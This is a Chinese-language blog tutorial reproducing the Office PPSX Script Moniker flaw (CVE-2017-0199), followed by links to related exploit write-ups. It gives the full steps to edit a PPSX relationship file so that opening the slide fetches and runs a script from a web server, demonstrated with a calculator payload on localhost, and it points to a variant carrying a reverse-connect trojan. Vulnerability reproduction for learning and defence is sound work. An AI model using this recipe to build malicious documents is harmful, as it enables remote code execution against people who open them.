在刚刚结束的BlackHat2017黑帽大会上,最佳客户端安全漏洞奖颁给了CVE-2017-0199漏洞,这个漏洞是Office系列办公软件中的一个逻辑漏洞,和常规的内存破坏型漏洞不同,这类漏洞无需复杂的利用手法,直接就可以在office文档中运行任意的恶意脚本,使用起来稳定可靠,故而非常适合于漏洞学习新手测试调试使用,作为一个已经测试过该漏洞的新手,现将搭建环境和测试的全部过程呈献给大家,希望能对大家的学习有所帮助。

CVE-2017-0199实际上包含两个漏洞,其中一个称为“RTF URL Moniker”漏洞,另一个被称为“PPSX Script Moniker”漏洞,在这里我们演示一下PPSXScript Moniker漏洞的测试方式。

首先准备一台apache服务器,为了简化配置apache的过程,在这里我们直接安装xampp,XAMPP是一个把Apache网页服务器与PHP、Perl及MariaDB集合在一起的安装包,允许用户可以在自己的电脑上轻易的建立网页服务器,安装起来十分简单,无需配置其它设置。安装完成后,我们打开IE浏览器,输入http://127.0.0.1,如果能够跳转到XAMPP的欢迎界面,就认为服务器已经搭建成功了。

图1:XAMPP欢迎界面

如果你安装XAMPP时选择的是默认路径,那么你可以在C盘的根目录下找到该软件,下一步我们要做的工作时在服务器的目录下添加一个sct脚本,此处作为测试该脚本是否执行,我们让该脚本启动一个计算器程序,sct脚本代码如下:

图2:启动计算器脚本代码

我们将该脚本命名为1.sct,存放在C:\xampp\htdocs\路径下,以便于接下来我们使用的PPSX能够链接并执行改脚本。

第三步,我们修改ppsx样本文件,样本的地址可以从https://github.com/temesgeny/ppsx-file-generator网址处下载到。下载到的文件中包含一个python脚本和生成好的template.ppsx,我们直接改造template.ppsx模板,首先将改文件的后缀名改为.zip,然后将压缩文件解压,解压后的文件内容如下图所示:

图3:模板ppsx文件解压后文件内容

我们在路径ppt\slides\_rels下找到slide1.xml.rels文件,我们将图中用蓝色圈出的路径用我们自己服务的地址来替换,即更改为Target="script:http://127.0.0.1/1.sct"

图4:更改前slide1.xml.rels文件内容

更改完成后,我们将解压的四个文件重新以zip的格式压缩,这里注意不要直接压缩上一层路径的template文件夹,否则压缩后会出现两层文件夹,压缩任务完成后,我们把压缩文件的后缀名重新更正为template.ppsx,然后再次打开该文件,结果如下图所示:

图5:漏洞利用结果图

可以观察到,在打开ppsx文件后,我们嵌入在ppsx中的远程地址链接并下载了1.sct脚本,然后执行了该脚本,成功的开启了一个计算器程序。

关于RTF URL Moniker的漏洞测试在http://www.freebuf.com/articles/system/131969.html 这篇文章中写的非常详细了,实测能够成功复现漏洞,在这里就不再重复赘述了。

最后给大家推荐几个链接,在了解CVE-2017-0199漏洞的过程中,分别参考了这几篇文章:

(1)《Moniker魔法:直接在Microsoft Office中运行脚本》http://bbs.pediy.com/thread-219234.htm 这篇文章对漏洞发现的过程和原理描述的非常清晰,对底层比较感兴趣的同学可以了解学习一下

(2)http://www.freebuf.com/vuls/144054.html 这篇文章提供了一个ppsx的高级利用方式,在ppsx中嵌入了kali生成的回连木马。

​最后给广大用户朋友们提几点建议,防止恶意程序给您带来不必要的损失:    ​

1. 及时更新最新补丁,安装杀毒软件,最大限度保证自己不受恶意软件侵害

2. 若收到邮件包含附件,不要直接打开,很可能是利用这个漏洞进行攻击钓鱼邮件,一旦打开将直接中招,先查杀再打开,来历不明的邮件别收

3. 网上下的word文档、PPSX、PPT文件别随意打开,先查杀。

希望小子的文章值得你收藏与转发,关注安全小子,安全路上,你我同行:

​

Office远程代码执行漏洞CVE-2017-0199复现的更多相关文章

  1. Office远程代码执行漏洞(CVE-2017-11882)复现

    昨晚看到的有复现的文章,一直到今天才去自己复现了一遍,还是例行记录一下. POC: https://github.com/Ridter/CVE-2017-11882/ 一.简单的生成弹计算器的doc文 ...

  2. 隐藏17年的Office远程代码执行漏洞(CVE-2017-11882)

    Preface 这几天关于Office的一个远程代码执行漏洞很流行,昨天也有朋友发了相关信息,于是想复现一下看看,复现过程也比较简单,主要是简单记录下. 利用脚本Github传送地址 ,后面的参考链接 ...

  3. 漏洞复现-Office远程代码执行漏洞 (CVE-2017-11882&CVE-2018-0802)

    漏洞原理 这两个漏洞本质都是由Office默认安装的公式编辑器(EQNEDT32.EXE)引发的栈溢出漏洞(不要问什么是栈溢出,咱也解释不了/(ㄒoㄒ)/~~) 影响版本 Office 365 Mic ...

  4. Office远程代码执行漏洞(CVE-2017-11882)

    POC: https://github.com/Ridter/CVE-2017-11882/ 一.简单的生成弹计算器的doc文件. 网上看到的改进过的POC,我们直接拿来用,命令如下: #python ...

  5. 【漏洞复现】Office远程代码执行漏洞(CVE-2017-11882)

    昨晚看到的有复现的文章,一直到今天才去自己复现了一遍,还是例行记录一下. POC: https://github.com/Ridter/CVE-2017-11882/ 一.简单的生成弹计算器的doc文 ...

  6. Office CVE-2017-8570远程代码执行漏洞复现

    实验环境 操作机:Kali Linux IP:172.16.11.2 目标机:windows7 x64 IP:172.16.12.2 实验目的 掌握漏洞的利用方法 实验工具 Metaspliot:它是 ...

  7. 【漏洞公告】CVE-2017-12615/CVE-2017-12616:Tomcat信息泄漏和远程代码执行漏洞

    2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,在一定 ...

  8. 【漏洞公告】Tomcat信息泄漏和远程代码执行漏洞:CVE-2017-12615/CVE-2017-12616

    2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,在一定 ...

  9. Apache Struts 远程代码执行漏洞(CVE-2013-4316)

    漏洞版本: Apache Group Struts < 2.3.15.2 漏洞描述: BUGTRAQ ID: 62587 CVE(CAN) ID: CVE-2013-4316 Struts2 是 ...

随机推荐

  1. Spring Security-自定义配置Filter

    自定义配置Filter 一.最基础的配置 SecurityContextPersistenceFilter 用来建立 SecurityContext,而它被用来贯穿整个 request 过程以跟踪请求 ...

  2. tomcat7以上,ajax post参数后台获取不到的问题

    AJAX post传参后台获取不到查询参数. 网上找了各种方法,包括设置content-type,又是把json转成json格式字符串,问题依然存在,但是把post改成get又可以获取到,百思不得其解 ...

  3. [jbdj]SpringMVC框架(1)快速入门

    1)springmvc快速入门(传统版) 步一:创建springmvc_demo一个web应用 步二:导入springioc,springweb , springmvc相关的jar包 步三:在/WEB ...

  4. spring 框架的xml文件如何读取properties文件数据

    spring 框架的xml文件如何读取properties文件数据 第一步:在spring配置文件中 注意:value可以多配置几个properties文件 <bean id="pro ...

  5. Kinect用体感来实现UI控件的点击

    用体感来实现UI控件的点击,如点击按钮. 做法:用一个图片表示左手手掌,图片位置追踪左手手掌移动,当手掌位于UI控件的矩形内时,握拳表示点击该控件. using UnityEngine; using ...

  6. DotNetCore跨平台~EFCore连接Mysql的方式

    回到目录 在.net frameworks的ef里连接mysql我们已经测试通过了,而在dotnet core里的efCore上去连接mysql我们需要测试一下,并且在测试过程中出现了一些问题,当然最 ...

  7. Win8.1下VM与Hyper-v冲突解决方法

    不需要使用hyperv.去程序那里关闭hyperv.要同时使用两中虚拟机.使用折中的办法:  创建两个启动菜单,在启动的时候选择是否要运行 Hyper-V. 管理员身份运行命令提示符 cmd 输入 b ...

  8. CJOJ 1131 机器分配 / Luogu 2066 机器分配 (动态规划)

    CJOJ 1131 机器分配 / Luogu 2066 机器分配 (动态规划) Description Luogu: 总公司拥有高效设备M台,准备分给下属的N个分公司.各分公司若获得这些设备,可以为国 ...

  9. 【菜鸟入门】安装配置eclipse 并编写运行第一个Java程序

    不得不吐槽一下,安装配置这eclipse真是太费劲了...下面总结一下,以便下次再安装 本人 win10系统,64位机 一.在官网下载eclipse安装包 文件名:eclipse-inst-win64 ...

  10. hdu_3746: Cyclic Nacklace

    题目链接 给出一个字符串,你可以通过在首尾加入字符使其变成一个具有周期T(T>=2)的字符串,求所需加入的最少字符数. 所考察算法仍然是对next数组含义的理解 #include<cstd ...